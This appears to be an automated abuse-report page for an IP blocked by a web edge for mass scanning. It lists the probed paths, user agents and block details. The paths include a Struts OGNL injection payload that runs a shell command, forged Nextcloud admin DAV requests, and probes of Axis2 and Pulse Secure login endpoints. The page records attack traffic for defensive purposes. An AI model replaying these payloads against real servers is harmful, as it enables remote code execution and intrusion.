abuseip.org

IP 3.250.86.218 is currently blocked by the redirs.com anycast edge.

Reason: suspicious paths across 14 domains
Hits (last hour): 1,143
Unique targets hit: 14
Unique paths probed: 2,113
Detection count: 13
First seen: 2026-05-04 06:48:17 UTC
Last seen: 2026-05-04 06:55:58 UTC
Block expires: 2026-05-05 07:51:11 UTC

Sample paths probed

/?wcal_action=checkout_link&user_email=test&validate=rgLBZjNB+GlH3MzGTtkkhkJaS6s2hqMXrjuN34itRHQ1AdOA39nmxAXh0alCipD+yf2x2xp8y6yUjA==
/?wcal_action=checkout_link&user_email=test&validate=lQDvCzhB+GnTP/LsNM0clEHwVmZ3LRdLEM7nm7io2aEMTIqw/an3qXCOfKHgcamAIsZf
/axis2-admin/login
/?wcal_action=checkout_link&user_email=test&validate=MQM9jzNB+GlVRxeOhUgtPBUIRgtatFHU5cvNMyER+1k+zJ8NUDyx6nTAeV+GmQFsBuqTFXXJyGg=
/index.php
/login
/?wcal_action=checkout_link&user_email=test&validate=zgBXTzRB+GnCgFv2FABb7i7+orcm7N0cUVXMAzKj1fnrWwaLrsfasHYi2LmV4yt5M52/OFwpkw==
/users/auth/saml/callback
/axis2/axis2-admin/login
/?wcal_action=checkout_link&user_email=test&validate=KQKWSjRB+GmF+A8xhh2aYVfBQ03tut0oqraIIZahPIxjucTlytY3g3BzK6CKyM2Dtmuy54W8CsXc1jUe
/
/remote.php/dav/files/admin?OC-Expires=991200&OC-Verb=PROPFIND&OC-Credential=admin&OC-Date=2026-05-04T06%3A48%3A30Z&OC-Signature=771f2e08b152ec3c8b45d5a06bdb67d3f523a8b04b0e947901cb7fb713207ba8
/?wcal_action=checkout_link&user_email=test&validate=OwODiTNB+GkPE5G4SU+wQGGspczzQR7Y/0np4zcFBaH8mT/LWbbcHfxh5CrlhgUBK1wvAln+CE7fNOg1Ys73
/remote.php/dav/files/admin?OC-Expires=991200&OC-Verb=PROPFIND&OC-Credential=admin&OC-Date=2026-05-04T06%3A48%3A20Z&OC-Signature=9f17942404cf66bf2a71e1d95cdd9147a597032164464aa36fd41b9e2f8939ae
/?wcal_action=checkout_link&user_email=test&validate=DQNJAjNB+Gn5ls8Rm1coKjKCBUXMgu6eG8rnvKr4KccgOpcsQzmTEnT+/Hz1gcQ32LFUGk7PpLAOCfY9
/?wcal_action=checkout_link&user_email=test&validate=NAB/mTdB+GlJhJ+68qlbtfQ0/hVM+vGF4eTYt/HDqSDHdY6AjTx7rIa8awpl9Y0gRhBSr2/7wZs/eokZ88E=
/lcms/index.php
/login.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}
/?wcal_action=checkout_link&user_email=test&validate=bgJmYzNB+GlVIg51OhkTF3zepikLNte1HLr/pIjPOBUQBvg6gOg1H33Wiaf4CXCY/jgHEYBG9ralIj3MKRc=
/dana-na/auth/url_default/welcome.cgi

Sample User-Agents

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:149.0) Gecko/20100101 Firefox/149.0
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:148.0) Gecko/20100101 Firefox/148.0
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0
Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:148.0) Gecko/20100101 Firefox/148.0
Mozilla/5.0 (X11; Linux x86_64; rv:148.0) Gecko/20100101 Firefox/148.0
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.3 Safari/605.1.15
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36

What does this mean?

This address sent traffic that the redirs.com edge classified as automated abuse — typically WordPress/PHP exploit scanning, credential file probing (.env, .git, .aws/), or mass-domain enumeration. The block is automatic and time-limited (24 hours from last detection).

If you believe this is a false positive, contact [email protected] with the IP and the timestamps above.